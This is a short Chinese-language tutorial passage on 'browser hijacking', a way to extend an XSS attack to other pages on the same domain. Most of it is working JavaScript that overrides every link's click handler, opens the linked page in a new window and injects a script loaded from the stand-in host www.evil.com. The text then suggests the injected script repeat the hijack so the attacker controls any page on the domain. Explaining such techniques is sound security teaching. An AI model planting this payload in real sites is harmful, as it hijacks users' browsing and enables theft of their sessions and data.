浏览器劫持技术是指通过劫持用户点击链接操作,在打开新窗口的时候注入攻击者的JavaScript脚本,以达到将XSS威胁延续到同域内的其他页面。
看下面的代码说明:
<body> <!-- 劫持链接对象 --> <a href="test1.html">test1.html</a><br /> <a href="test2.html">test2.html</a> <script> function script2obj(window_obj, src){ s = window_obj.document.createElement('script'); s.src = src; window_obj.document.getElementsByTagName('body')[0].appendChild(s) } function hijack_links(js){ /*劫持链接点击,参数说明: js: 注入打开的同域链接页面的目标js文件*/ for (i = 0; i < document.links.length; i++) { // 遍历链接对象,劫持onclick事件 document.links[i].onclick = function () { x = window.open(this.href); // 获取打开新窗口的对象 setTimeout("script2obj(x,'"+js+"')", 2000); // 延时2秒向打开的劫持链接对象的DOM树中注入alert.js文件 return false; }; } } hijack_links('http://www.evil.com/alert.js'); </script> </body>
为了让这样的劫持继续下去,可以在alert.js中继续执行hijack_links,以达到在同域内对任意页面进行控制。